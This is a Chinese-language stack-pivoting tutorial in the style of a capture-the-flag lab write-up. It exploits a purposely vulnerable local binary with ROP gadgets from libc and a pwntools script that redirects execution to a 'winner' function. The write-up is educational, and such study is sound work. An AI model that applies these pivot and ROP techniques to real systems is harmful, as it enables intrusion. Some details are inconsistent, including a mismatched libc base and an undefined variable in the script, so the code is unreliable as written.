一個簡單實踐理解棧空間轉移

1 what
stack pivoiting是一種棧空間轉移技術。
2 why
有時候緩沖區有長度限制,不利于在棧上配置rop gadget(空間不夠)!
3 how
3.1 pop rsp gadget
這種情形比較少見,遇到了相當幸運。
3.2 xchg , rsp
pop <=== return pointervalue>xchg , rsp
3.3 leave;ret
leave相當于:
mov rsp,rbppop rbp
加上ret就等于:
mov rsp,rbppop rbppop rip
覆蓋rbp,然后棧中的rip覆蓋為Addr(leave;ret),當接收數據的函數返回時候,rsp指向target,target新棧中保留了待執行shellcode。
4 漏洞程序 vuln
// gcc source.c -o vuln -no-pie#include void winner(int a, int b) { if(a == 0xdeadbeef && b == 0xdeadc0de) { puts("Great job!"); return; } puts("Whelp, almost...?");} void vuln() { char buffer[0x60]; printf("Try pivoting to: %p", buffer); fgets(buffer, 0x80, stdin);} int main() { vuln(); return 0;}
4.1 vuln脆弱性
存在輸入性棧溢出,buffer大小0x60。
fgets存在輸入大小限制,0x80上界。
程序編譯保護存在,nx。
─$ checksec --file=./vuln[*] '/home/kali/exploits/spivot/vuln' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
4.2 vuln脆弱性利用目標
rip指向 winner函數,獲取winner函數的執行權
4.3 vuln利用步驟
4.3.1 測算rip的偏移
① 生成de bruijn串
└─$ ragg2 -P 200 -rAAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA
② fuzz vuln
┌──(kali?kali)-[~/exploits/spivot]└─$ r2 -d -A vuln[x] Analyze all flags starting with sym. and entry0 (aa)[x] Analyze function calls (aac)[x] Analyze len bytes of instructions for references (aar)[x] Finding and parsing C++ vtables (avrr)[x] Skipping type matching analysis in debugger mode (aaft)[x] Propagate noreturn information (aanr)[ ] Use -AA or aaaa to perform additional experimental anal[x] Use -AA or aaaa to perform additional experimental analysis.[0x7f93b6df79c0]> dcTry pivoting to: 0x7ffcd3256000AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA[+] SIGNAL 11 errno=0 addr=0x00000000 code=128 si_pid=0 ret=0
③ 確定rip偏移
[0x004011c5]> dr rbp0x4169414168414167[0x004011c5]> wopO `dr rbp`96
所以,rip的偏移是104 = 96 + 8
④ 猜測棧基本布局
stack ::= |+00 buffer | +96 rbp | +104 rip | +112 x1 | +120 x2 | +128 x3 |
因為fgets輸入長度限制是0x80==128,而且,棧不可執行shellcode,所以,可以覆蓋的區域只有 rip,x1,x2 三個變量的地址,且只能用rop gadget方式。
4.3.2 尋找可用gadget
pop rdi
──(kali?kali)-[~/exploits/spivot]└─$ ROPgadget --binary vuln | grep 'pop rdi'
很不幸,vuln程序中找不到類似pop rdi | pop rsi等指令,只能去libc找一個用用。
libc找gadget的前提是ASLR已經關閉:
──(kali?kali)-[~/exploits/spivot]└─$ cat /proc/sys/kernel/randomize_va_space0
ROPgadget尋找libc
```
└─$ ldd vuln
linux-vdso.so.1 (0x00007ffff7fc9000)libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7dce000)/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcb000)
┌──(kali?kali)-[~/exploits/spivot]
└─$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep 'pop rdi ; ret'
0x0000000000027725 : pop rdi ; ret
0x0000000000065b7d : pop rdi ; ret 0x16
所以,**POP_RDI = 0x00007f85682b0000 + 0x027725** 2. pop rsi
┌──(kali?kali)-[~/exploits/spivot]
└─$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep 'pop rsi ; ret'
0x0000000000028ed9 : pop rsi ; ret
0x0000000000085336 : pop rsi ; retf
所以,**POP_RSI = 0x00007f85682b0000 + 0x028ed9** 3. pop rsp
┌──(kali?kali)-[~/exploits/spivot]
└─$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep 'pop rsp'
...
0x00000000000fd999 : pop rsp ; jmp 0xfd8e0
0x00000000000ff3b6 : pop rsp ; jmp 0xff1c0
0x00000000000db8b8 : pop rsp ; jmp 0xffffffff8552b8cd
...
0x00000000000273aa : pop rsp ; ret
所以,**POP_RSP = 0x00007f85682b0000 + 0x0273aa** ### 4.3.3 規劃棧布局 - **old_stack ::= |+00 buffer | +96 rbp | +104 rip | +112 x1 | +120 x2 | +128 x3 |** new_stack ::= | 新棧布局 || :---: || +00 POP_RDI || +08 0xdeadbeef || +16 POP_RSI || +24 0xdeadc0de || +32 winner_addr || ... || +104 POP_RSP (rip位置) || +112 Buffer_addr | ### 4.3.4 pwntools編寫利用代碼
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
獲取buffer_addr
p.recvuntil('to: ')
py = int(p.recvline(),16)
log.info(f'leak buffer addr: {hex(buffer_addr)}')
LIBC = 0x00007ffff7dce000
POP_RSP = LIBC + 0x0273aa
POP_RDI = LIBC + 0x027725
POP_RSI = LIBC + 0x028ed9
設置payload
payload = flat(POP_RDI,0xdeadbeef,POP_RSI,0xdeadc0de,elf.sym['winner'])
payload = payload.ljust(104,b'A')
payload += flat(POP_RSP,buffer_addr)
send payload
p.sendline(payload)
print(p.recvline())
### exploit output
└─$ python exploit.py
[] '/home/kali/exploits/spivot/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/home/kali/exploits/spivot/vuln': pid 1171678
[] leak buffer addr: 0x7fffffffe280
[] Paused (press any to continue)
b'Great job!'
[] Stopped process '/home/kali/exploits/spivot/vuln' (pid 1171678)
```